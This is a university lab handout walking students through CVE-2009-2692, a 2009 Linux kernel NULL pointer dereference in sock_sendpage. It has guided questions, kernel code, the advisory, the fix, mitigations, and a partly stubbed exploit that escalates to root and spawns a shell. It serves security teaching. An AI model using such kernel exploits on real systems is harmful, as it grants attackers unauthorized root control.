A Kernel Exploit Step by Step

Aurélien Francillon

January 15, 2018

Abstract

In this challenge you will go step by step trough a kernel exploit. This is a real world kernel exploit that, in 2009, allowed several attacks, including jail-breaking Android devices. We will try to go step by step to fully understand this vulnerability and how an actual exploit works, the questions are here to direct you (I don't expect you to provide written answers). We will also see some mitigation techniques. Necessary material to do this on paper is present in this document. You are provided a Vagrant machine which you can use to develop your exploit, this exploit can then be used on the challenge server, login there and see the information on the server.

1 Kernel Memory

In August 2009, Tavis Ormandy and Julien Tinnes discovered a bug that affected all 2.4 and 2.6 Linux kernels since 2001. The Advisory can be found in annex G, and the fix that was committed in H.

The root of the problem is due to the fact that in the Linux operating system the virtual memory is split between kernel and userspace. On the x86 each process, has a memory map split in two parts userspace up to 3GB (address 0xC0000000) and the last GB is reserved for the kernel. While there is a separation of privilege they both share the same address space.

2 Preliminary Questions

Question 1: What is the purpose of the mmap system call ?

Question 2: `mmap` and `mprotect` takes the argument `prot`. Give an example where using this option is necessary.

Question 3: What happens when a memory page is accessed in a mode that is not compatible with its current `prot` status.

2.1 Root of the problem

The root of the problem is that user space controls the bottom of memory from address 0 to $0xC0000000$ and that the kernel can access this directly. Null pointer dereferences usually trigger a fault only because the null page is not mapped.

Question 4: What happens when the page at address 0 gets mapped ? What will be the output of the program in listing 1 ? (Another longer example is given in appendix). Try this code on the Vagrant machine !

Listing 1: Example NULL pointer dereference

```
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

int main(){
```

```
    uint32_t *mem=NULL;

    mem=mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED |
          MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);

    if (mem != NULL) {
      fprintf(stdout,"[-] UNABLE TO MAP ZERO PAGE!\n");
      exit(-1);
    }

    fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");
    printf("0x%08X: 0x%08X \n",(uint32_t)mem, *(uint32_t*)0);
    mem[0] = 0xDEADBEAF;
    printf("0x%08X: 0x%08X \n",(uint32_t)mem, *(uint32_t*)0);
    printf("[+] It worked !!\n");

    munmap(mem,0x1000);
    mem[0] = 0xDEADBEAF;

    return 0;
}
```

3 The Vulnerability

When a socket is created the kernel binds it with a `struct proto_ops` structure. This structure contains the pointers to many kernel functions that can be useful for that socket family. Listing 2 shows parts of the structure. We can see there some well known socket related system calls, like `bind` and `release`, as well as some internal, more obscure, low level functions, like `sendpage`.

Listing 2: proto_ops structure (from `include/linux/net.h`)

```
struct proto_ops {
        int  family;
        struct module *owner;
        int  (*release) (struct socket *sock);
        int  (*bind) (struct socket *sock, struct sockaddr *myaddr, int sockaddr_len);
        int  (*connect) (struct socket *sock, struct sockaddr *vaddr, int sockaddr_len, int flags);
        int  (*socketpair)(struct socket *sock1, struct socket *sock2);

        [...]
        ssize_t  (*sendpage) (struct socket *sock, struct page *page, int offset, size_t size, int flags);
        ssize_t  (*splice_read)(struct socket *sock, loff_t *ppos, struct pipe_inode_info *pipe, size_t len,
                                         unsigned int flags);
};
```

Lets have a look at the bluetooth sockets implementation:

Listing 3: Bluetooth proto_ops structure (from `net/bluetooth/hci_sock.c`)

```
static const struct proto_ops hci_sock_ops = {
        .family  = PF_BLUETOOTH,
        .owner   = THIS_MODULE,
        .release = hci_sock_release,
        .bind    = hci_sock_bind,
        .getname = hci_sock_getname,
        .sendmsg = hci_sock_sendmsg,
        .recvmsg = hci_sock_recvmsg,
        .ioctl   = hci_sock_ioctl,
        .poll    = datagram_poll,
```

```
        .listen  = sock_no_listen,
        .shutdown = sock_no_shutdown,
        .setsockopt = hci_sock_setsockopt,
        .getsockopt = hci_sock_getsockopt,
        .connect = sock_no_connect,
        .socketpair = sock_no_socketpair,
        .accept  = sock_no_accept,
        .mmap  = sock_no_mmap
};
```

We can see that in this C99 designated initializer block the sendpage function is not initialized.

3.1 The NULL Pointer Deference

When performing the `sendfile` system call on a socket, and after a few function calls, the `sock_sendpage` function is called:

Listing 4: `sock_sendpage` function (from `net/socket.c`)

```
static ssize_t sock_sendpage(struct file *file, struct page *page,
                             int offset, size_t size, loff_t *ppos, int more)
{
        struct socket *sock;
        int flags;

        sock = file->private_data;

        flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
        if (more)
                flags |= MSG_MORE;

        return sock->ops->sendpage(sock, page, offset, size, flags);
}
```

Question 5: What happens when this function is called from a *bluetoooth* socket?

4 The Exploit Code

4.1 Lines 40 to 66 and 86 to 88: get_kernel_sym

The virtual file */proc/kallsyms* lists all the symbols from the kernel as follows:

```
c10486a7 T prepare_kernel_cred
c1048784 T revert_creds
c10487a2 T abort_creds
c10487b7 T prepare_creds
c1048839 T commit_creds
c1048920 T prepare_usermodehelper_creds
```

Each line represents a symbol in the kernel and its address.

Question 6: What is the purpose of those lines ?

Question 7: Why are those functions not called directly ?

4.2 Lines 90 to 99

Question 8: What is mmap doing in line 90 ?

In the program, in lines from 96 write the following instructions in the mem buffer:

```
0:  ff 25 06 00 00 00 jmp *0x6
6:  34 45 12 08 <address of some function>
```

The first six bytes are used to perform an indirect jump. The next 4 bytes are the address to jump to (at address 6). This has the effect to execute the function *own_the_kernel*.

Question 9: What is done in the `own_the_kernel` function ?

4.3 Triggering the vulnerability

Question 10: What does the attacker expects by calling sendfile?

Question 11: How does the attacker verifies the success of the exploit ? (complete this test in the code)

Question 12: What is the goal of the `for` loop and of the `repeat_it` label? How does it help in practice ?

4.4 Additional Questions

Question 13: What is the purpose of the mkstemp and unlink calls (lines 106 and 107)?

Question 14: What is the point of the call to `ftruncate` ?

5 Mitigation Mechanisms

We see now some mitigation mechanisms that can be put in place. Always mention if this a good enough solution? A definitive solution ?

5.1 Recompiling the Kernel

Question 15: Assuming we recompile the kernel removing the vulnerable socket families, what will happen where will the code stop to work?

Question 16: Is removing the compiler from the host a good mitigation ?

Question 17: Would it be possible to make this stronger by preventing the attacker from running arbitrary binaries ? How to do this?

Question 18: Is that last countermeasure enough to prevent exploitation?

5.2 Preventing to Read Symbols From /proc/kallsyms

One could configure the system to avoid having the symbols available.

Question 19: Why would that be most of the time not a very good solution.

5.3 `vm.mmap_min_addr`

Since 2.6.23 there is a sysctl, a way to configure the kernel, that allows to configure the minimum address from which a user can map a page. By default it is set to 0x8000.

Question 20: Explain where the `expoit.c` fails. Where is if stopping exactly ?

6 The Actual Fix

The fix can be seen below, the actual commit (e694958388c50148389b0e9b9e9e8945cf0f1b98) can be found in annex H.

Listing 5: The patch in sock_sendpage function

```

diff --git a/net/socket.c b/net/socket.c
index 791d71a..6d47165 100644
--- a/net/socket.c
+++ b/net/socket.c
@@ -736,7 +736,7 @@ static ssize_t sock_sendpage(struct file *file, struct page *page,
        if (more)
                flags |= MSG_MORE;

- return sock->ops->sendpage(sock, page, offset, size, flags);
+ return kernel_sendpage(sock, page, offset, size, flags);
 }

 static ssize_t sock_splice_read(struct file *file, loff_t *ppos,
```

Listing 6: kernel_sendpage function

```
int kernel_sendpage(struct socket *sock, struct page *page, int offset,
                    size_t size, int flags)
{
        if (sock->ops->sendpage)
                return sock->ops->sendpage(sock, page, offset, size, flags);

        return sock_no_sendpage(sock, page, offset, size, flags);
}
```

Question 19: What is the fix doing ?

Question 20: Is this fix solving that specific bug only or the root of the problem ? The class of bugs ?

7 Long term solutions

7.1 PAX

The kernel patch PAX/grsecurity has a mechanism, based on segmentation, called `KERNEXEC`. It works by shrinking the segment selector of the kernel code `KERNEL_CS`.

Question 21: What are the consequences of the change?

Question 22: Why this mechanism was never integrated in the kernel mainline ?

7.2 SMEP

Supervisor Mode Execution Protection (SMEP) is a processor feature designed to prevent such attacks. SMEP adds a bit to the page table entries to mention that the page is userspace or kernel space. This allows to prevent executing user owned pages when executing from the kernel mode.

`http://vulnfactory.org/blog/2011/06/05/smep-what-is-it-and-how-to-beat-it-on-linux/`

Question 23: Would this have stopped the attack ?

A Acknowledgments

This document is inspired by a lab that was initially prepared by Olivier Levillain for a lecture at Telecom ParisTech.

B Exploit

Listing 7: The exploit

```c
/* Inspired from the exploit.c file in wunderbar_emporium.zip */
/* wunderbar_emporium was written by Brad Spengler */

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define DOMAINS_STOP -1

const int domains[][3] = {
  { PF_APPLETALK, SOCK_DGRAM, 0 },
  { PF_IPX, SOCK_DGRAM, 0 },
  { PF_IRDA, SOCK_DGRAM, 0 },
  { PF_X25, SOCK_DGRAM, 0 },
  { PF_AX25, SOCK_DGRAM, 0 },
  { PF_BLUETOOTH, SOCK_DGRAM, 0 },
  { PF_PPPOX, SOCK_DGRAM, 0 },
  { DOMAINS_STOP, 0, 0 }
};

int got_ring0 = 0;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;


static void fatal (char* msg) {
    fprintf(stderr, "%s\n", msg);
    exit (1);
}


static unsigned long get_kernel_sym(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy;
  char sname[256];
  int ret;

  f = fopen("/proc/kallsyms", "r");
  if (f == NULL) return 0;

  ret = 0;
  while(ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
      fscanf(f, "%s\n", sname);
```

```
      continue;
    }
    if (!strcmp(name, sname)) {
      fclose(f);
      return addr;
    }
  }

  fclose(f);
  return 0;
}


static int __attribute__((regparm(3))) own_the_kernel(unsigned long a, unsigned long b,
                                        unsigned long c, unsigned long d, unsigned long e)
{
  got_ring0 = 1;
  commit_creds (prepare_kernel_cred (0));
  return -1;
}


void main ()
{
  char *mem = NULL;
  int d;

  commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
  if (commit_creds == NULL)
        fatal ("UNABLE TO RESOLVE \"commit_creds\" SYMBOL");
  prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
  if (prepare_kernel_cred == NULL)
        fatal ("UNABLE TO RESOLVE \"prepare_kernel_cred\" SYMBOL");

  /* TODO: map memory at address 0 */

  if (mem != NULL)
        fatal ("UNABLE TO MAP ZERO PAGE!");
  fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");

  /*
   *
   * TODO: here add code to prepare exploit code in page "Zero"
   * which can be accessed by variable "mem"
   */

  /* trigger it */
  {
    char template[] = "/tmp/sendfile.XXXXXX";
    int in, out;

    if ((in = mkstemp(template)) < 0) fatal ("failed to open input descriptor");
    unlink(template);

    // Find a vulnerable domain
    d = 0;
  repeat_it:
    for (; domains[d][0] != DOMAINS_STOP; d++) {
      if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0) {
```

```
            printf ("+");
            break;
          }
        printf ("-");
      }

      if (out < 0) fatal ("unable to find a vulnerable domain, sorry");

      // Truncate input file to some large value
      ftruncate(in, getpagesize());

      // sendfile() to trigger the bug.
      sendfile(out, in, NULL, getpagesize());
    }

    if (/** TODO: How do we know that the exploit worked ? **/) {
      fprintf(stdout, " [+] got ring0!\n");
    } else {
      d++;
      goto repeat_it;
    }

    if (getuid() == 0)
      fprintf(stdout, " [+] Got root!\n");
    else
      fatal (" [+] Failed to get root :( Something's wrong. Maybe the kernel isn't vulnerable?");

    setresuid (0);
    execl("/bin/sh", "/bin/sh", "-i", NULL);
}
```

C Going further

Here are a few links for those that are interested in going further:

- Exploiting `pulseaudio` to bypass `mmap_min_addr`: `http://blog.cr0.org/2009/07/old-school-local-root-vulnerability-in.html`
- Another nice explanation of the wunderbar_emporium exploit, that bypasses the `mmap_min_addr` and SELinux: `http://xorl.wordpress.com/2009/08/18/cve-2009-2692-linux-kernel-proto_ops-null-pointer-dereference/`
- There is a nice book on kernel exploitation: "A Guide to Kernel Exploitation: Attacking the Core", by Enrico Perla and Massimiliano Oldani (see `http://www.attackingthecore.com/`).

D mmap man page

```
MMAP(2)                    Linux Programmer's Manual                   MMAP(2)

NAME
       mmap, munmap - map or unmap files or devices into memory

SYNOPSIS
       #include <sys/mman.h>

       void *mmap(void *addr, size_t length, int prot, int flags,
                  int fd, off_t offset);
       int munmap(void *addr, size_t length);

DESCRIPTION
       mmap()  creates a new mapping in the virtual address space of the call
       ing process.  The starting address for the new mapping is specified  in
       addr.  The length argument specifies the length of the mapping.

       If addr is NULL, then the kernel chooses the address at which to create
       the mapping; this is the most portable method of creating  a  new  map
       ping.   If  addr  is not NULL, then the kernel takes it as a hint about
       where to place the mapping; on Linux, the mapping will be created at  a
       nearby  page  boundary.   The address of the new mapping is returned as
       the result of the call.

       The contents of a file mapping (as opposed to an anonymous mapping; see
       MAP_ANONYMOUS  below),  are  initialized using length bytes starting at
       offset offset in the file (or other object) referred  to  by  the  file
       descriptor  fd.  offset must be a multiple of the page size as returned
       by sysconf(_SC_PAGE_SIZE).

       The prot argument describes the desired memory protection of  the  map
       ping  (and  must  not  conflict with the open mode of the file).  It is
       either PROT_NONE or the bitwise OR of one  or  more  of  the  following
       flags:

       PROT_EXEC  Pages may be executed.

       PROT_READ  Pages may be read.

       PROT_WRITE Pages may be written.

       PROT_NONE  Pages may not be accessed.

       The  flags argument determines whether updates to the mapping are visi
       ble to other processes mapping the same region, and whether updates are
       carried through to the underlying file.  This behavior is determined by
       including exactly one of the following values in flags:

       MAP_SHARED Share this mapping.  Updates to the mapping are  visible  to
                  other  processes that map this file, and are carried through
                  to the underlying  file.   The  file  may  not  actually  be
                  updated until msync(2) or munmap() is called.

       MAP_PRIVATE
                  Create a private copy-on-write mapping.  Updates to the map
                  ping are not visible to other  processes  mapping  the  same
                  file,  and  are  not carried through to the underlying file.
                  It is unspecified whether changes made to the file after the
                  mmap() call are visible in the mapped region.

       Both of these flags are described in POSIX.1-2001.

       In addition, zero or more of the following values can be ORed in flags:
[...]
       MAP_ANONYMOUS
              The mapping is not backed by any file; its contents are initial
```

```
           ized to zero.  The fd and offset arguments are ignored; however,
           some implementations require fd to be -1  if  MAP_ANONYMOUS  (or
           MAP_ANON)  is specified, and portable applications should ensure
           this.  The use of MAP_ANONYMOUS in conjunction  with  MAP_SHARED
           is only supported on Linux since kernel 2.4.

       MAP_FIXED
           Don't  interpret  addr  as  a hint: place the mapping at exactly
           that address.  addr must be a multiple of the page size.  If the
           memory  region  specified  by addr and len overlaps pages of any
           existing mapping(s), then the overlapped part  of  the  existing
           mapping(s)  will  be discarded.  If the specified address cannot
           be used, mmap() will fail.  Because requiring  a  fixed  address
           for  a  mapping is less portable, the use of this option is dis
           couraged.

[...]

RETURN VALUE
       On success, mmap() returns a pointer to the mapped area.  On error, the
       value MAP_FAILED (that is, (void *) -1) is returned, and errno  is  set
       appropriately.   On  success,  munmap()  returns  0, on failure -1, and
       errno is set (probably to EINVAL).

[...]
NOTES
[...]
       The  portable  way  to create a mapping is to specify addr as 0 (NULL),
       and omit MAP_FIXED from flags.  In this case, the  system  chooses  the
       address  for  the  mapping; the address is chosen so as not to conflict
       with any existing mapping, and will not be 0.  If the MAP_FIXED flag is
       specified,  and  addr  is  0  (NULL), then the mapped address will be 0
       (NULL).
[...]

Linux                             2010-06-20                         MMAP(2)
```

E ftruncate man page

```
TRUNCATE(2)                Linux Programmer's Manual               TRUNCATE(2)



NAME
       truncate, ftruncate - truncate a file to a specified length

SYNOPSIS
       #include <unistd.h>
       #include <sys/types.h>

       int truncate(const char *path, off_t length);
       int ftruncate(int fd, off_t length);
[...]

DESCRIPTION
       The  truncate()  and ftruncate() functions cause the regular file named
       by path or referenced by fd to be truncated  to  a  size  of  precisely
       length bytes.

       If  the  file  previously  was larger than this size, the extra data is
       lost.  If the file previously was shorter,  it  is  extended,  and  the
       extended part reads as null bytes ('\0').

       The file offset is not changed.

       If  the  size  changed,  then the st_ctime and st_mtime fields (respec
       tively, time of last status change and time of last  modification;  see
```

```
       stat(2)) for the file are updated, and the set-user-ID and set-group-ID
       permission bits may be cleared.

       With ftruncate(), the file must be open for writing;  with  truncate(),
       the file must be writable.

RETURN VALUE
       On  success,  zero is returned.  On error, -1 is returned, and errno is
       set appropriately.
[...]
SEE ALSO
       open(2), stat(2), path_resolution(7)
[...]

Linux                             2011-09-08                    TRUNCATE(2)
```

F sendfile man page

```
SENDFILE(2)              Linux Programmer's Manual              SENDFILE(2)



NAME
       sendfile - transfer data between file descriptors

SYNOPSIS
       #include <sys/sendfile.h>

       ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

DESCRIPTION
       sendfile()  copies  data  between  one  file  descriptor  and  another.
       Because this copying is done within  the  kernel,  sendfile()  is  more
       efficient  than  the  combination  of read(2) and write(2), which would
       require transferring data to and from user space.

       in_fd should be a file descriptor opened for reading and out_fd  should
       be a descriptor opened for writing.

       If  offset  is  not NULL, then it points to a variable holding the file
       offset from which sendfile() will start reading data from in_fd.   When
       sendfile() returns, this variable will be set to the offset of the byte
       following the last byte that was read.  If offset  is  not  NULL,  then
       sendfile()  does not modify the current file offset of in_fd; otherwise
       the current file offset is adjusted to reflect the number of bytes read
       from in_fd.

       If  offset  is  NULL, then data will be read from in_fd starting at the
       current file offset, and the file offset will be updated by the call.

       count is the number of bytes to copy between the file descriptors.

       The  in_fd  argument  must  correspond  to  a   file   which   supports
       mmap(2)-like operations (i.e., it cannot be a socket).

       In  Linux  kernels before 2.6.33, out_fd must refer to a socket.  Since
       Linux 2.6.33 it can be any file.  If it is a regular file,  then  send‐
       file() changes the file offset appropriately.

RETURN VALUE
       If  the  transfer was successful, the number of bytes written to out_fd
       is returned.  On error, -1 is returned, and errno is set appropriately.

[...]

Linux                             2011-09-14                    SENDFILE(2)
```

G Advisory for CVE 2009-2692

Linux NULL pointer dereference due to incorrect proto_ops initializations
----

In the Linux kernel, each socket has an associated struct of operations called proto_ops which contain pointers to functions implementing various features, such as accept, bind, shutdown, and so on.

If an operation on a particular socket is unimplemented, they are expected to point the associated function pointer to predefined stubs, for example if the "accept" operation is undefined it would point to sock_no_accept(). However, we have found that this is not always the case and some of these pointers are left uninitialized.

This is not always a security issue, as the kernel validates the pointers at the call site, such as this example from sock_splice_read:

```
static ssize_t sock_splice_read(struct file *file, loff_t *ppos,
                    struct pipe_inode_info *pipe, size_t len,
                unsigned int flags)
{
    struct socket *sock = file->private_data;

    if (unlikely(!sock->ops->splice_read))
        return -EINVAL;

    return sock->ops->splice_read(sock, ppos, pipe, len, flags);
}
```

But we have found an example where this is not the case; the sock_sendpage() routine does not validate the function pointer is valid before dereferencing it, and therefore relies on the correct initialization of the proto_ops structure.

We have identified several examples where the initialization is incomplete:

- The SOCKOPS_WRAP macro defined in include/linux/net.h, which appears correct at first glance, was actually affected. This includes PF_APPLETALK, PF_IPX, PF_IRDA, PF_X25 and PF_AX25 families.

- Initializations were missing in other protocols, including PF_BLUETOOTH, PF_IUCV, PF_INET6 (with IPPROTO_SCTP), PF_PPPOX and PF_ISDN.

Affected Software

All Linux 2.4/2.6 versions since May 2001 are believed to be affected:

- Linux 2.4, from 2.4.4 up to and including 2.4.37.4
- Linux 2.6, from 2.6.0 up to and including 2.6.30.4

Consequences

This issue is easily exploitable for local privilege escalation. In order to exploit this, an attacker would create a mapping at address zero containing code to be executed with privileges of the kernel, and then trigger a vulnerable operation using a sequence like this:

```
/* ... */
    int fdin = mkstemp(template);
    int fdout = socket(PF_PPPOX, SOCK_DGRAM, 0);

    unlink(template);
```

```
    ftruncate(fdin, PAGE_SIZE);

    sendfile(fdout, fdin, NULL, PAGE_SIZE);
/* ... */

Please note, sendfile() is just one of many ways to cause a sendpage
operation on a socket.

Successful exploitation will lead to complete attacker control of the system.

-------------------
Mitigation
-----------------------

Recent kernels with mmap_min_addr support may prevent exploitation if
the sysctl vm.mmap_min_addr is set above zero. However, administrators
should be aware that LSM based mandatory access control systems, such
as SELinux, may alter this functionality.

It should also be noted that all kernels up to 2.6.30.2 are vulnerable to
published attacks against mmap_min_addr.

-------------------
Solution
-----------------------

Linus committed a patch correcting this issue on 13th August 2009.

http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;
a=commit;h=e694958388c50148389b0e9b9e9e8945cf0f1b98

-------------------
Credit
-----------------------

This bug was discovered by Tavis Ormandy and Julien Tinnes of the Google
Security Team.
```

H The Fix

The following fix was committed to the Linux kernel.

```
commit e694958388c50148389b0e9b9e9e8945cf0f1b98
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Thu Aug 13 08:28:36 2009 -0700

    Make sock_sendpage() use kernel_sendpage()

    kernel_sendpage() does the proper default case handling for when the
    socket doesn't have a native sendpage implementation.

    Now, arguably this might be something that we could instead solve by
    just specifying that all protocols should do it themselves at the
    protocol level, but we really only care about the common protocols.
    Does anybody really care about sendpage on something like Appletalk? Not
    likely.

    Acked-by: David S. Miller <davem@davemloft.net>
    Acked-by: Julien TINNES <julien@cr0.org>
    Acked-by: Tavis Ormandy <taviso@sdf.lonestar.org>
    Cc: stable@kernel.org
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
```

I Other Example With Null Pointer Dereference

Listing 8: More complex example of a NULL pointer dereference

```c
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

void hello(void) { printf("hello world\n"); }
void owned_hello(void){ printf("0wned world\n"); }

typedef struct {
  uint32_t var1; // an integer element
  void (*test_fptr) (void); // a function pointer
} teststruc_t;

int main(){
  uint32_t *mem=NULL;
  teststruc_t *testvar =NULL;

  testvar = (teststruc_t*) malloc (sizeof(teststruc_t));
  testvar->var1=42;
  testvar->test_fptr=&hello;

  printf("our testvar is: %d \n",testvar->var1);
  // now call the function throuigh the function pointer
  testvar->test_fptr();

  // Now map the page at address 0
  mem=mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED |
       MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);

  if (mem != NULL) {
    fprintf(stdout,"[-] UNABLE TO MAP ZERO PAGE!\n");
    exit(-1);
  }
  mem[0] = 0xDEADBEAF;
  mem[1] = &owned_hello;

  // Ouch, there is a bug somewhere and we overwrote our pointer to
  // our test structure...
  testvar=NULL;

  // now dereference our null pointer ...
  printf("our testvar is: 0x%x \n",testvar->var1);
  // now call the function through the function pointer
  testvar->test_fptr();


  munmap(mem,0x1000);
  mem[0] = 0xDEADBEAF;

  return 0;
}
```